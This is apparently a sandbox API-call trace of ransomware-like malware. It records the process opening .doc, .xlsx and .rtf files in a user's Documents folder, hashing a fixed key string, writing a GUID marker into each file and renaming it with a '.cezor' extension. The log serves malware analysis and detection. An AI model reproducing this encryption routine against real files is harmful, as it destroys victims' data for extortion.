GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=38057) returned 1 [0061.590] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.593] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9483, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.593] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.594] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.594] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x94a9, lpOverlapped=0x0) returned 1 [0061.594] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.594] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.594] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.594] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0061.595] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.595] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.595] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.595] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.595] GetLastError () returned 0x0 [0061.595] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.595] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0061.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.595] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x94a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.596] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.596] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.596] CloseHandle (hObject=0x5c4) returned 1 [0061.596] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\p-qIG.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\p-qig.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\p-qIG.doc.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\p-qig.doc.cezor")) returned 1 [0061.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.597] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.598] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc515d60, ftCreationTime.dwHighDateTime=0x1d4d38f, ftLastAccessTime.dwLowDateTime=0x7526f290, ftLastAccessTime.dwHighDateTime=0x1d4ce96, ftLastWriteTime.dwLowDateTime=0x7526f290, ftLastWriteTime.dwHighDateTime=0x1d4ce96, nFileSizeHigh=0x0, nFileSizeLow=0x10118, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RBanc_ Xhdc-T.xlsx", cAlternateFileName="RBANC_~1.XLS")) returned 1 [0061.598] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\RBanc_ Xhdc-T.xlsx") returned=".xlsx" [0061.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\RBanc_ Xhdc-T.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\rbanc_ xhdc-t.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.598] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=65816) returned 1 [0061.598] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.601] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x100f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.601] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.601] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x10118, lpOverlapped=0x0) returned 1 [0061.602] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.602] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.602] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.602] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0061.603] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.603] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.603] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.603] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.603] GetLastError () returned 0x0 [0061.603] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.603] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0061.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.603] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10118, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.603] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.603] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.604] CloseHandle (hObject=0x5c4) returned 1 [0061.605] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\RBanc_ Xhdc-T.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\rbanc_ xhdc-t.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\RBanc_ Xhdc-T.xlsx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\rbanc_ xhdc-t.xlsx.cezor")) returned 1 [0061.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.605] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.606] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe579ddd0, ftCreationTime.dwHighDateTime=0x1d4d4e7, ftLastAccessTime.dwLowDateTime=0xe9ea2d20, ftLastAccessTime.dwHighDateTime=0x1d4ca5b, ftLastWriteTime.dwLowDateTime=0xe9ea2d20, ftLastWriteTime.dwHighDateTime=0x1d4ca5b, nFileSizeHigh=0x0, nFileSizeLow=0x3e8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x46p.rtf", cAlternateFileName="")) returned 1 [0061.606] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\x46p.rtf") returned=".rtf" [0061.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\x46p.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\x46p.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.606] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=16015) returned 1 [0061.606] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.609] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3e69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.609] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.610] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x3e8f, lpOverlapped=0x0) returned 1 [0061.610] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.610] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.610] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.610] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0061.610] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.611] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.611] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.611] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.611] GetLastError () returned 0x0 [0061.611] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.611] CryptReleaseContext (hProv=0x74eb40, dwFlags=0x0) returned 1 [0061.611] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.611] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3e8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.611] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.611] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.611] CloseHandle (hObject=0x5c4) returned 1 [0061.612] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\x46p.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\x46p.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\-3tBc\\x46p.rtf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\-3tbc\\x46p.rtf.cezor")) returned 1 [0061.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.612] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.613] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe579ddd0, ftCreationTime.dwHighDateTime=0x1d4d4e7, ftLastAccessTime.dwLowDateTime=0xe9ea2d20, ftLastAccessTime.dwHighDateTime=0x1d4ca5b, ftLastWriteTime.dwLowDateTime=0xe9ea2d20, ftLastWriteTime.dwHighDateTime=0x1d4ca5b, nFileSizeHigh=0x0, nFileSizeLow=0x3e8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x46p.rtf", cAlternateFileName="")) returned 0 [0061.613] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.613] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febc48 [0061.613] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febb90 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0061.617] 